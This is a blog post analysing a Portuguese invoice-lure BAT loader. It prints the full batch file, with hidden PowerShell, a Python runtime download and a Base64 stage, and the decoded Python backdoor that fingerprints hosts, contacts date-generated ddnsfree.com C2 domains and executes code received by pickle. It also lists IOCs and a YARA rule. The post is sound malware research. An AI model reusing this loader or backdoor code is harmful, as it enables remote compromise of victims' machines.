Sitemap
Shubho57

Shubho57

I am an early stage Malware Analyst and Threat Researcher, with a bit of interest in Threat Detection and Digital Forensics

Analysis of a python loader

11 min readAug 10, 2026

--

Press enter or click to view image in full size

Summary

  1. It’s a highly obfuscated python script
  2. It deploys a base64 encoded python payload which is the second stager and after running that we can get the final stager
  3. It gives out randomly named domains
  4. The payload directly downloads the python DLL files
  5. It performs a lot of volatile actions

Analysis of the Batch File

@echo off
echo Documento indisponivel > %USERPROFILE%\downloads\NF-eletronica.txt
start %USERPROFILE%\downloads\NF-eletronica.txt
powershell -WindowStyle Hidden -Command “& {
$code = @’
@echo off
setlocal EnableDelayedExpansion

set “texto=%COMPUTERNAME%”
set “texto=%texto:DESKTOP=%”
set “texto=%texto:-=%”

for /f “delims=” %%i in (‘powershell -command “$a=’To’+’Base64'+’String’; $b=’Get’+’Bytes’; [Convert]::$a([Text.Encoding]::UTF8.$b(‘%texto%’)).TrimEnd(‘=’)”’) do set “NM=%%i”

set “LOC=%PROGRAMDATA%”
if not exist “%LOC%” (
mkdir “%LOC%”
)
if not exist “%LOC%\%NM%” (
powershell -command “Invoke-WebRequest -URI https://www.python.org/ftp/python/3.13.0/python-3.13.0-embed-win32.zip -OutFile “%LOC%\%NM%.zip””
powershell -command “Expand-Archive -Path “%LOC%\%NM%.zip” -DestinationPath “%LOC%\%NM%””
powershell -command “Copy-Item -Path ‘%LOC%\%NM%\pythonw.exe’ -Destination ‘%LOC%\%NM%\%NM%.exe’”
)

powershell -Command “Start-Sleep -Seconds 3”

:: Concatenate and decode the Base64 string
set “base64=IyAzMjkyNTMzMjgwNjkxOTAwMTQ0ODczNjkxMTM4NDAzNDY4CiMgOTgzNTgxNzE2NTU4MzU0NDgxOTc3NDkxMzQ1MDk1MDUxNQojIDkwMTQ5ODUzMzQ0MDY4MjAxODc5OTkyMjE0Mjg0NzI3Nwpmcm9tIHRpbWUgaW1wb3J0IHNsZWVwCmltcG9ydCBzb2NrZXQgYXMgc3MKZnJvbSByYW5kb20gaW1wb3J0IGNob2ljZQppbXBvcnQgd2lucmVnIGFzIHcKaW1wb3J0IHBpY2tsZQoKZGVmIHB0KCk6CiAgICBpbXBvcnQgZGF0ZXRpbWUKICAgIHRyeToKICAgICAgICBkID0gZGF0ZXRpbWUuZGF0ZS50b2RheSgpCiAgICAgICAgeSA9IFtdCiAgICAgICAgZm9yIHggaW4gcmFuZ2UoNjAsIDEwMCwgNCk6CiAgICAgICAgICAgIHkuYXBwZW5kKGludChzdHIoaW50KGludChmJ3tkLmRheX17ZC5tb250aH17ZC55ZWFyfScpICogeCkpWzo0XSkpCiAgICAgICAgcmV0dXJuIHkKICAgIGV4Y2VwdDoKICAgICAgICByZXR1cm”
set “base64=!base64!4gWzQ0M10KZGVmIGxrKCk6CiAgICBpbXBvcnQgaGFzaGxpYgogICAgZnJvbSBkYXRldGltZSBpbXBvcnQgZGF0ZQogICAgdHJ5OgogICAgICAgIGQgPSBkYXRlLnRvZGF5KCkKICAgICAgICB3aSA9IGQud2Vla2RheSgpCiAgICAgICAgZGkgPSBkLmRheSArIHdpCiAgICAgICAgbCA9ICdyc3R1dnh6d2t5amxtbm9wcWFiY2doamxhYmNkZWZnaGlqbG1ub3BxJ1tkaV0KICAgICAgICByID0gW10KICAgICAgICBmb3IgXyBpbiByYW5nZSg1MSwgNjIsIDUpOgogICAgICAgICAgICB0ID0gaGFzaGxpYi5zaGExKGYie2RpKndpKl99e2x9e3dpfXtsfXtkLm1vbnRoICogZGkqX317bH17ZC55ZWFyKmRpKl99Ii5lbmNvZGUoKSkuaGV4ZGlnZXN0KCkqMTAKICAgICAgICAgICAgci5hcHBlbmQodFs6X10ucmVwbGFjZSh0WzpkaV0sIGwpLmxvd2VyKClbOjQ4XSkKICAgICAgICByZXR1cm4gcgogICAgZXhjZXB0Ogog”
set “base64=!base64!ICAgICAgIHJldHVybiBbZidnb29nbGV7ZGl9J10KCgpkZWYgcChjLCBuKToKICAgIHMyID0gdy5PcGVuS2V5KHcuSEtFWV9MT0NBTF9NQUNISU5FLCBjKQogICAgcmV0dXJuIHcuUXVlcnlWYWx1ZUV4KHMyLCBuKVswXQpwciA9IHAocidIQVJEV0FSRVxcREVTQ1JJUFRJT05cXFN5c3RlbVxcQ2VudHJhbFByb2Nlc3NvclxcMCcsICdQcm9jZXNzb3JOYW1lU3RyaW5nJykKdnMgPSBwKHInU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93cyBOVFxcQ3VycmVudFZlcnNpb24nLCAnUHJvZHVjdE5hbWUnKQp3aGlsZSBUcnVlOgogICAgdHJ5OgogICAgICAgIGlmICdCcm9hZHdlbGwnIGluIHByOgogICAgICAgICAgICBicmVhawogICAgICAgIHdpdGggc3Muc29ja2V0KHNzLkFGX0lORVQsIHNzLlNPQ0tfU1RSRUFNKSBhcyBzOgogICAgICAgICAgICBzLnNldHRpbWVvdXQoMzApCiAgICAgICAgICAgIHMuY29ubm”
set “base64=!base64!VjdCgoZid7Y2hvaWNlKGxrKCkpfS5kZG5zZnJlZS5jb20nLCBjaG9pY2UocHQoKSkpKQogICAgICAgICAgICBzLnNlbmQoZidweUNvZGVWMyAtICpORVdXKiB7c3MuZ2V0aG9zdG5hbWUoKX0gfCB7dnN9IHwge3ByfSAnLmVuY29kZSgpKQogICAgICAgICAgICBpbmZvX2JpbiA9IGInJwogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgYyA9IHMucmVjdigxMDI0KQogICAgICAgICAgICAgICAgaWYgbm90IGM6CiAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgIGluZm9fYmluICs9IGMKICAgICAgICAgICAgaW5mbyA9IHBpY2tsZS5sb2FkcyhpbmZvX2JpbikKICAgICAgICAgICAgZXhlYyhpbmZvWydDb2RlUHknXSwgeydkYXRhUmVjJzogaW5mb1snZmlsZSddLCAncHltbSc6IGluZm9bJ2ZpbGUyJ119KQogICAgICAgICAgICBicmVhawogICAgZXhjZXB0OgogICAgICAgIHNsZWVwKDEwKQpzbGVlcCgzKQo=”

“%LOC%\%NM%\%NM%.exe” -c “import base64; exec(base64.b64decode(b’’’!base64!’’’)); exit()”
exit
‘@
Start-Process cmd -ArgumentList ‘/c’, $code -NoNewWindow
}”
exit

I analyzed the uploaded .bat file and decoded its embedded Base64 payload. The file is highly suspicious and behaves like a staged Python-based backdoor/loader.

1. Initial BAT behavior

The script first creates and opens a fake document:

echo Documento indisponivel > %USERPROFILE%\downloads\NF-eletronica.txt
start %USERPROFILE%\downloads\NF-eletronica.txt

Documento indisponivel is Portuguese for “Document unavailable.”

This is likely a decoy intended to make the victim believe the batch file simply failed to open a document.

2. Hidden PowerShell execution

It then launches PowerShell with:

powershell -WindowStyle Hidden -Command

The PowerShell code contains another BAT script and executes it through:

Start-Process cmd -ArgumentList '/c', $code -NoNewWindow

So the execution chain is approximately:

BAT
│
├── Create fake NF-eletronica.txt
│
└── Hidden PowerShell
│
└── Execute embedded BAT
│
├── Generate victim-specific identifier
├── Download Python
├── Decode Base64
└── Execute Python payload

3. Victim-specific identifier

The script takes:

%COMPUTERNAME%

and removes:

DESKTOP
-

It then Base64-encodes the resulting string.

For example, conceptually:

DESKTOP-ABC123
↓
ABC123
↓
Base64
↓
QUJDMTIz

This value becomes:

%NM%

The identifier is used to create a directory under:

%PROGRAMDATA%\%NM%\

This gives the malware a machine-specific installation location.

4. Python downloader

The BAT downloads an official Python embeddable ZIP:

https://www.python.org/ftp/python/3.13.0/python-3.13.0-embed-win32.zip

Specifically:

python-3.13.0-embed-win32.zip

It saves it under:

%PROGRAMDATA%\%NM%.zip

and extracts it to:

%PROGRAMDATA%\%NM%\

Then:

Copy-Item ...\pythonw.exe ...\%NM%.exe

renames/copies pythonwexe to a machine-specific executable name.

Why this is suspicious

Instead of carrying its own Python interpreter, the malware bootstraps Python onto the victim and then uses it to run the second-stage payload.

Using pythonw.exe also avoids the normal console window.

5. Embedded Base64 payload

The BAT contains a Base64 blob split across multiple variables:

set "base64=..."
set "base64=!base64!..."
set "base64=!base64!..."

The final command is:

"%LOC%\%NM%\%NM%.exe" -c "import base64; exec(base64.b64decode(b'''!base64!''')); exit()"

Therefore:

Base64
↓
Python source code
↓
exec()

I decoded it successfully.

Download the decoded Python payload

6. Decoded Python payload

The decoded payload imports:

from time import sleep
import socket as ss
from random import choice
import winreg as w
import pickle

The most important modules are:

ModulePurposesocketNetwork communicationwinregWindows Registry accesspickleDeserialize received Python objectexecExecute received Python codehashlibGenerate dynamic domainsrandom.choiceRandomize C2 domain/port

The combination of:

pickle.loads(...)

followed by:

exec(...)

is particularly dangerous.

7. Anti-analysis / environment check

The payload reads:

pr = p(
r'HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0',
'ProcessorNameString'
)

This retrieves:

ProcessorNameString

from the Windows Registry.

It also obtains:

vs = p(
r'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion',
'ProductName'
)

which provides the Windows product/version information.

The important check is:

if 'Broadwell' in pr:
break

This is an environment-specific execution condition.

If the processor string contains Broadwell, the program stops before contacting the C2.

Otherwise it proceeds to the network communication.

This could be used as an anti-analysis or victim-selection mechanism.

8. Dynamic C2 generation

The function:

def lk():

generates C2 domain names dynamically.

It uses:

hashlib.sha1(...)

and the current date:

date.today()

The generated domains are then appended with:

.ddnsfree.com

So the malware doesn’t have a single hard-coded C2 such as:

malicious.example.com

Instead:

Current date
↓
SHA-1 calculations
↓
Dynamic hostname
↓
<generated>.ddnsfree.com

This is characteristic of a domain-generation / dynamic infrastructure technique.

9. Dynamic ports

The function:

def pt():

also generates multiple ports based on the current date:

for x in range(60, 100, 4):

The resulting values are used with:

choice(pt())

So the malware randomly chooses one of the generated ports.

Get Shubho57’s stories in your inbox

Join Medium for free to get updates from this writer.

For the current date August 2, 2026, the algorithm produces these ports:

1692
1804
1917
2030
2143
2256
2369
2481
2594
270

The generated C2 domains for that date are:

k7480b6329581a0b820d58ebbdc846d66k748.ddnsfree.com
ke6535d7d751b38ec5f7f046a2c38ab25ke6535d7d.ddnsfree.com
k53f1f2d08b118a56def8b2df42c706b3k53f1f2d08b118.ddnsfree.com

Important: these are algorithmically generated values for the current date, not necessarily evidence that the domains are currently active.

10. C2 connection

The actual network connection is:

s.connect(
(f'{choice(lk())}.ddnsfree.com',
choice(pt()))
)

This means:

Random generated hostname
+
Random generated port
↓
TCP connection

The socket has a:

30 secon

timeout.

11. Host information sent to C2

After connecting, it sends:

s.send(
f'pyCodeV3 - *NEWW* {ss.gethostname()} | {vs} | {pr} '.encode()
)

The C2 receives information containing:

pyCodeV3
*NEWW*
hostname
Windows ProductName
ProcessorNameString

So the malware performs basic host reconnaissance / victim identification before receiving its next stage.

12. Receives arbitrary data from C2

The next section is especially significant:

info_bin = b''
while True:
c = s.recv(1024)
    if not c:
break
    info_bin += c

The attacker-controlled response is accumulated in memory.

Then:

info = pickle.loads(info_bin)

The received bytes are deserialized using Python pickle.

This is dangerous because pickle is not a safe serialization format for untrusted data.

13. Remote code execution

The decoded object is expected to contain:

info['CodePy']
info['file']
info['file2']

Then:

exec(
info['CodePy'],
{
'dataRec': info['file'],
'pymm': info['file2']
}
)

This is effectively:

C2
↓
send Python code
↓
pickle.loads()
↓
extract CodePy
↓
exec()
↓
execute attacker-controlled Python

This makes the BAT a second-stage loader/backdoor, rather than the complete malware itself.

The C2 can potentially supply arbitrary Python instructions.

14. Key IOCs / artifacts

File paths

%USERPROFILE%\Downloads\NF-eletronica.txt
%PROGRAMDATA%\%NM%.zip
%PROGRAMDATA%\%NM%\
%PROGRAMDATA%\%NM%\%NM%.exe

External URL

https://www.python.org/ftp/python/3.13.0/python-3.13.0-embed-win32.z

Note that this is an official Python URL. Its presence does not mean Python itself is malicious — the malware is abusing a legitimate interpreter as its execution environment.

Dynamic C2 infrastructure

*.ddnsfree.com

Registry keys queried

HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0
ProcessorNameString

and:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductName

15. Overall execution flow

The complete chain is:

User executes .BAT
│
├── Creates fake NF-eletronica.txt
│
├── Opens decoy document
│
└── Starts hidden PowerShell
│
└── Embedded BAT
│
├── Gets COMPUTERNAME
│
├── Removes DESKTOP / "-"
│
├── Base64-encodes identifier
│
├── Creates %PROGRAMDATA%\<ID>\
│
├── Downloads Python 3.13 embedded
│
├── Extracts Python
│
├── Creates <ID>.exe from pythonw.exe
│
├── Reconstructs Base64
│
└── Base64 decode
│
▼
Python stage
│
├── Reads CPU
├── Reads Windows version
│
├── Generates C2 domains
├── Generates C2 ports
│
├── TCP connection
│
├── Sends victim information
│
├── Receives serialized object
│
├── pickle.loads()
│
└── exec(CodePy)
│
▼
C2-delivered payload

Verdict

I would classify this BAT as malicious/suspicious with high confidence.

The strongest indicators are:

  1. Hidden PowerShell execution
  2. Decoy document
  3. Downloading an interpreter at runtime
  4. Embedded Base64 Python payload
  5. Dynamic C2 generation
  6. *.ddnsfree.com infrastructure
  7. Host fingerprinting
  8. Network-delivered Python code
  9. pickle.loads() on attacker-controlled network data
  10. exec(info['CodePy'])
  11. Multi-stage architecture

The most important limitation is that the final payload is not embedded in this BAT. The BAT contains a loader that contacts the C2 and receives CodePy, file, and file2. Therefore, the next level of analysis would be to statically reconstruct the DGA algorithm and C2 protocol, and then analyze the expected pickle object structure and the remotely supplied CodePy stage without executing it.

Base64 decoded payload

# 3292533280691900144873691138403468
# 9835817165583544819774913450950515
# 901498533440682018799922142847277
from time import sleep
import socket as ss
from random import choice
import winreg as w
import pickle

def pt():
import datetime
try:
d = datetime.date.today()
y = []
for x in range(60, 100, 4):
y.append(int(str(int(int(f’{d.day}{d.month}{d.year}’) * x))[:4]))
return y
except:
return [443]
def lk():
import hashlib
from datetime import date
try:
d = date.today()
wi = d.weekday()
di = d.day + wi
l = ‘rstuvxzwkyjlmnopqabcghjlabcdefghijlmnopq’[di]
r = []
for _ in range(51, 62, 5):
t = hashlib.sha1(f”{di*wi*_}{l}{wi}{l}{d.month * di*_}{l}{d.year*di*_}”.encode()).hexdigest()*10
r.append(t[:_].replace(t[:di], l).lower()[:48])
return r
except:
return [f’google{di}’]

def p(c, n):
s2 = w.OpenKey(w.HKEY_LOCAL_MACHINE, c)
return w.QueryValueEx(s2, n)[0]
pr = p(r’HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0', ‘ProcessorNameString’)
vs = p(r’SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion’, ‘ProductName’)
while True:
try:
if ‘Broadwell’ in pr:
break
with ss.socket(ss.AF_INET, ss.SOCK_STREAM) as s:
s.settimeout(30)
s.connect((f’{choice(lk())}.ddnsfree.com’, choice(pt())))
s.send(f’pyCodeV3 — *NEWW* {ss.gethostname()} | {vs} | {pr} ‘.encode())
info_bin = b’’
while True:
c = s.recv(1024)
if not c:
break
info_bin += c
info = pickle.loads(info_bin)
exec(info[‘CodePy’], {‘dataRec’: info[‘file’], ‘pymm’: info[‘file2’]})
break
except:
sleep(10)
sleep(3)

Fig 1 — File stager

Execution chain

  1. A .bat file downloaded to C:\Users\admin\Downloads\ is run via cmd.exe.
  2. That batch script launches powershell.exe with -WindowStyle Hidden -Command "& {...}" — a hidden, invisible PowerShell window running an inline script block. This is a classic technique to execute code without showing any window to the user (Images 1–3).

Payload staging
3. PowerShell drops a fake/renamed Python interpreter and support files into C:\ProgramData\QkZUUFVIUA\ (a randomly-named folder, typical obfuscation):

  • python.exe (Image 7) — an embedded/portable Python interpreter
  • vcruntime140.dll (Image 5) — the Visual C++ runtime needed for that Python build to run
  • _asyncio.pyd (Image 4) — a Python dynamic module (asyncio), suggesting the payload uses async networking (common in C2/backdoor loaders)
  1. It then queries the file extension of pythonw.exe (the windowless Python launcher) via .NET's Path.GetExtension call (Image 6), likely as part of the script's own logic to locate/launch it correctly.

What this adds up to

This is a classic fileless-to-file-drop loader pattern:

  • Batch file → hidden PowerShell → drops a portable Python environment on disk → likely uses pythonw.exe (no console window) to run a Python-based payload (stealer, RAT, or loader) next.

Using a bundled Python interpreter instead of relying on Python already being installed is a common technique to run Python-based malware (info-stealers like some variants of “Snake Keylogger,” RATs, etc.) on machines that don’t have Python, while keeping everything hidden from the user.

Press enter or click to view image in full size
Press enter or click to view image in full size
Fig 2 — C2 Infrastructure
  1. Lure/delivery
  • NF-eletronica.txt launched from the Downloads folder — likely a fake "invoice" (Portuguese "NF" = Nota Fiscal, i.e. an invoice/receipt lure) used to trick the user into opening it, kicking off the .bat → hidden PowerShell chain from before.

2. Building a portable Python environment

  • PowerShell extracts python313.zip (Image 1) — a full portable Python 3.13 distribution — into C:\ProgramData\QkZUUFVIUA\. This explains the python.exe, vcruntime140.dll, and _asyncio.pyd drops from your earlier screenshots: it's not a custom binary, it's a legitimate embeddable Python runtime being smuggled in to execute a malicious Python script.
  • Files like fetch_macholib.bat sitting inside ctypes/macholib/ and a README.txt from site-packages are unpacked as part of that zip's normal folder structure — attackers often hide their loader/payload script deep inside a legitimate-looking Python package tree (ctypes/macholib/...) to blend in and dodge casual inspection. A .bat file inside a Python package folder is very out of place and is almost certainly the actual next-stage payload launcher, not a real Python module file.

3. Command-and-control (C2)

  • The infected host performs DNS lookups for multiple subdomains under ddnsfree.com (Images 2–4) — a free Dynamic DNS provider (Dynu). This is textbook C2 infrastructure: malware families abuse dynamic DNS so operators can change the backend IP freely while the malware always resolves the same-looking hostname, and defenders can't just blocklist a static IP.
  • The random-looking subdomain labels (u078cd5b074ee47faf83dd8d4f5f43a3605350u...) suggest each one is either a per-victim/per-campaign identifier or auto-generated — consistent with commodity malware/RAT panels that assign unique beacon subdomains.
  • The Suricata/ET rule firing (ET INFO DYNAMIC_DNS Query to a *.ddnsfree.com Domain, SID 2046001) is flagged only as Informational/bad-unknown by itself — dynamic DNS isn't inherently malicious — but combined with everything else here it's strong corroborating evidence of active C2 beaconing.

Putting it all together, this is:

A Python-based RAT/stealer loader, delivered via a fake invoice lure → batch file → hidden PowerShell → drops a full portable Python 3.13 runtime disguised inside legitimate-looking package folders → executes a hidden Python payload → beacons out to dynamic-DNS-hosted C2 infrastructure (Dynu/ddnsfree.com).

This pattern (fake invoice lure + hidden PowerShell + embedded Python + DDNS C2) closely matches commodity info-stealer/RAT families that have been increasingly seen using bundled Python interpreters to evade static AV signatures — e.g. variants distributed through malspam campaigns targeting Portuguese-speaking regions (the “NF”/invoice theme fits Brazilian phishing campaigns specifically).

Conclusion

The analyzed BAT is a multi-stage Python-based loader/backdoor that uses a decoy document, hidden PowerShell, a downloaded Python runtime, Base64-encoded Python, victim fingerprinting, and C2 communication. Its most significant behavior is the reception of a serialized Python object followed by exec(info['CodePy']), allowing the C2 to deliver and execute arbitrary Python code. The final payload cannot be determined without recovering the C2 response containing CodePy, file, and file2.

MITRE ATT&CK

IOCs

YARA Rule

rule Suspicious_Python_C2_BAT_Loader
{
meta:
description = “Detects a Python-based BAT loader using hidden PowerShell, embedded Base64, pickle and CodePy execution”
author = “Subhankar H.”
date = “2026–08–06”
severity = “high”

strings:
$ps = “powershell -WindowStyle Hidden” ascii nocase
$python = “python-3.13.0-embed-win32.zip” ascii nocase
$marker = “pyCodeV3 — *NEWW*” ascii
$pickle = “pickle.loads” ascii
$exec = “exec(info[‘CodePy’])” ascii
$ddns = “.ddnsfree.com” ascii nocase
$azure = “brazilsouth.cloudapp.azure.com” ascii nocase
$reg1 = “ProcessorNameString” ascii
$reg2 = “ProductName” ascii

condition:
3 of ($ps, $python, $marker, $pickle, $exec, $ddns, $azure, $reg1, $reg2)
}

Happy Reading!!!

--

--

Written by Shubho57

I am an early stage Malware Analyst and Threat Researcher, with a bit of interest in Threat Detection and Digital Forensics